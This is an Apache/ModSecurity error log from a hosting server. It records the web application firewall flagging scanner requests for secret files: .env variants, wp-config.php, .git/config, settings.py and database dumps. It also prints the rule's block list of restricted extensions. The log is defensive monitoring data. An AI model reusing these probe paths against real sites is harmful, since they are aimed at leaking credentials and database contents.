[Fri Jul 17 08:28:36.061734 2026] [security2:error] [pid 2014256:tid 2014256] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaXIZvbo7N5o5zeYC69AAAABw"]
[Fri Jul 17 08:28:36.086089 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.env.production"] [unique_id "almaXGidQp3SsqeycPEsyAAAAAo"]
[Fri Jul 17 08:28:36.087934 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.env.production"] [unique_id "almaXGidQp3SsqeycPEsyAAAAAo"]
[Fri Jul 17 08:28:36.088055 2026] [cgi:error] [pid 2013797:tid 2013797] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:28:36.088136 2026] [cgi:error] [pid 2013797:tid 2013797] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:28:36.088274 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.env.production"] [unique_id "almaXGidQp3SsqeycPEsyAAAAAo"]
[Fri Jul 17 08:28:36.106323 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.101.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "web.venee.lk"] [uri "/data.sql"] [unique_id "almaXHt8zp89pALg8Q5lFwAAAA4"]
[Fri Jul 17 08:28:36.106659 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/data.sql"] [unique_id "almaXHt8zp89pALg8Q5lFwAAAA4"]
[Fri Jul 17 08:28:36.106973 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/data.sql"] [unique_id "almaXHt8zp89pALg8Q5lFwAAAA4"]
[Fri Jul 17 08:28:36.107627 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.236.101.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-global": Permission denied [hostname "web.venee.lk"] [uri "/settings.py"] [unique_id "almaXAPhWp7RzB65h36e5AAAAA0"]
[Fri Jul 17 08:28:36.107670 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.236.101.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-ip": Permission denied [hostname "web.venee.lk"] [uri "/settings.py"] [unique_id "almaXAPhWp7RzB65h36e5AAAAA0"]
[Fri Jul 17 08:28:36.107997 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/wp-config.php"] [unique_id "almaXFxP5-SsqbGuGB2lMQAAAAA"]
[Fri Jul 17 08:28:36.108200 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/wp-config.php"] [unique_id "almaXFxP5-SsqbGuGB2lMQAAAAA"]
[Fri Jul 17 08:28:36.108452 2026] [security2:error] [pid 1993584:tid 1993584] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/wp-config.php"] [unique_id "almaXFxP5-SsqbGuGB2lMQAAAAA"]
[Fri Jul 17 08:28:36.109521 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.git/config"] [unique_id "almaXJOFLENLI63GGOEKYwAAAAQ"]
[Fri Jul 17 08:28:36.109724 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.git/config"] [unique_id "almaXJOFLENLI63GGOEKYwAAAAQ"]
[Fri Jul 17 08:28:36.110000 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.git/config"] [unique_id "almaXJOFLENLI63GGOEKYwAAAAQ"]
[Fri Jul 17 08:28:36.110584 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.env.staging"] [unique_id "almaXI1dLClkUfK_dfHhnAAAAAI"]
[Fri Jul 17 08:28:36.110808 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.env.staging"] [unique_id "almaXI1dLClkUfK_dfHhnAAAAAI"]
[Fri Jul 17 08:28:36.111081 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.env.staging"] [unique_id "almaXI1dLClkUfK_dfHhnAAAAAI"]
[Fri Jul 17 08:28:36.111121 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.101.41:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "web.venee.lk"] [uri "/.env.dev"] [unique_id "almaXA7FYe46zHK_jL3MbwAAABk"]
[Fri Jul 17 08:28:36.111316 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/.env.dev"] [unique_id "almaXA7FYe46zHK_jL3MbwAAABk"]
[Fri Jul 17 08:28:36.111584 2026] [security2:error] [pid 2013829:tid 2013829] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/.env.dev"] [unique_id "almaXA7FYe46zHK_jL3MbwAAABk"]
[Fri Jul 17 08:28:36.112611 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.101.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "web.venee.lk"] [uri "/database.sql"] [unique_id "almaXEgVnBK6wAv37w6o1AAAABQ"]
[Fri Jul 17 08:28:36.112947 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/database.sql"] [unique_id "almaXEgVnBK6wAv37w6o1AAAABQ"]
[Fri Jul 17 08:28:36.113280 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/database.sql"] [unique_id "almaXEgVnBK6wAv37w6o1AAAABQ"]
[Fri Jul 17 08:28:36.114317 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.101.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "web.venee.lk"] [uri "/db.sql"] [unique_id "almaXDRCJXF37-WnVv0isgAAABI"]
[Fri Jul 17 08:28:36.114633 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/db.sql"] [unique_id "almaXDRCJXF37-WnVv0isgAAABI"]
[Fri Jul 17 08:28:36.114906 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/db.sql"] [unique_id "almaXDRCJXF37-WnVv0isgAAABI"]
[Fri Jul 17 08:28:36.115636 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.236.101.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "web.venee.lk"] [uri "/backup.sql"] [unique_id "almaXEhq6UAnqYko0LpXUQAAABE"]
[Fri Jul 17 08:28:36.116001 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/backup.sql"] [unique_id "almaXEhq6UAnqYko0LpXUQAAABE"]
[Fri Jul 17 08:28:36.116317 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/backup.sql"] [unique_id "almaXEhq6UAnqYko0LpXUQAAABE"]
[Fri Jul 17 08:28:36.170826 2026] [security2:error] [pid 2014286:tid 2014286] [client 3.236.101.41:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "web.venee.lk"] [uri "/dump.sql"] [unique_id "almaXB15lhZh2QtC5qEWNAAAAB8"]
[Fri Jul 17 08:28:36.171629 2026] [security2:error] [pid 2014286:tid 2014286] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "web.venee.lk"] [uri "/dump.sql"] [unique_id "almaXB15lhZh2QtC5qEWNAAAAB8"]
[Fri Jul 17 08:28:36.171989 2026] [security2:error] [pid 2014286:tid 2014286] [client 3.236.101.41:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "web.venee.lk"] [uri "/dump.sql"] [unique_id "almaXB15lhZh2QtC5qEWNAAAAB8"]
[Fri Jul 17 08:28:36.797939 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:32978] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:37.150498 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.201.150.202:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "mail.venee.lk"] [uri "/.env.dev"] [unique_id "almaXY1dLClkUfK_dfHhngAAAAI"]
[Fri Jul 17 08:28:37.150848 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.venee.lk"] [uri "/.env.dev"] [unique_id "almaXY1dLClkUfK_dfHhngAAAAI"]
[Fri Jul 17 08:28:37.151273 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.201.150.202:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "mail.venee.lk"] [uri "/.env.dev"] [unique_id "almaXY1dLClkUfK_dfHhngAAAAI"]
[Fri Jul 17 08:28:38.339338 2026] [cgi:error] [pid 1996894:tid 1996894] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:28:38.339438 2026] [cgi:error] [pid 1996894:tid 1996894] [client 44.201.150.202:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:28:41.504477 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:39398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:42.335229 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:47.083263 2026] [security2:error] [pid 2013809:tid 2013809] [client 57.141.18.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory70/node0/memory79/node0/memory101/"] [unique_id "almaZ0gVnBK6wAv37w6o2wAAABQ"]
